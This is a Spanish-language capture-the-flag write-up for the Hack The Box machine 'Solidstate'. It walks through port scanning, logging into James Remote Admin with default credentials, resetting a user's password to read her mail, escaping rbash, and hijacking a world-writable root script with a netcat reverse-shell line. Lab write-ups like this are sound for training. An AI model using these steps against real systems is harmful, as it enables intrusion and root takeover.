En este writeup vamos a ver cómo resolver la máquina Solidstate de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.51
El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.
El siguiente paso es hacer un escaneo de puertos:
$ nmap -p- -A 10.10.10.51 -n --open -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.7 [10.10.14.7]),
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vemos que tiene los puertos 22, 25, 80, 110, 119 y 4555 abiertos pero llama la atención este:
4555/tcp open james-admin JAMES Remote Admin 2.3.2
Vamos a lanzar dirbuster a ver qué estructura encontramos:
No parece haber gran cosa…
Capturar User Flag
Investigando vemos que hasta la versión 3 de James se puede logear mediante telnet así que vamos a probarlo:
$ telnet 10.10.10.51 4555
- Usuario: root
- Password: root
Y estamos dentro:
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
Si hacemos un listusers vemos lo siguiente:
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
Vamos a cambiarle la contraseña a mindy
setpassword mindy mindy
Existe un exploit (https://github.com/am0nsec/exploit/blob/master/linux/http/ApacheJamesServer-2.3.2/apache_james_2-3-2.py) que permite crear una conexión remota cuando un cliente se conecta a james.
Mas info aqui: https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf
Sin embargo vamos a leer los correos de mindy:
$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mindy
+OK
PASS mindy
+OK Welcome mindy
STAT
+OK 2 1945
Con el comando STATS nos dice que tiene dos correos para leer.
Si ejecutamos el comando LIST, RSET 2 o TOP 2 2000 podremos ver un correo de mindy en el que se muestra un usuario y una contraseña de ssh.
- username: mindy
- pass: P@55W0rd1!2@
Si ponemos ese usuario y contraseña podremos entrar por ssh y directamente en su home tendremos el fichero user.txt con la USER Flag.
Capturar Root Flag
Si nos conectamos como mindy por ssh veremos enseguida que al tratarse de una rbash estamos muy restringidos a la hora de ejecutar comandos.
Para eliminar algo de estas restricciones nos desconectamos y volvemos a conectar con el siguiente parámetro:
$ ssh mindy@10.10.10.51 -t 'bash --noprofile'
Si vemos en el directorio $HOME/bin vemos que existen los siguientes enlaces simbólicos
lrwxrwxrwx 1 root root 7 Aug 22 2017 ls -> /bin/ls
lrwxrwxrwx 1 root root 8 Aug 22 2017 cat -> /bin/cat
lrwxrwxrwx 1 root root 8 Aug 22 2017 env -> /bin/env
Para encontrar ficheros que sean World Writable podemos usar la siguiente búsqueda:
find / -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune -o -type f -perm -0002 -exec ls -l '{}' ';' 2>/dev/null
Esto nos devuelve un fichero en /opt/tmp.py que si lo abrimos se ve así:
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
Sustituimos la llamada al sistema por la una conexión netcat como la siguiente:
os.system("nc -e /bin/bash 10.10.14.7 4444")
En una nueva terminal abrimos un netcat a la escucha por el puerto anteriormente utilizado y esperamos a recibir la conexión.
Cuando la recibamos ya podremos consultar el fichero con la Root Flag en /root/root.txt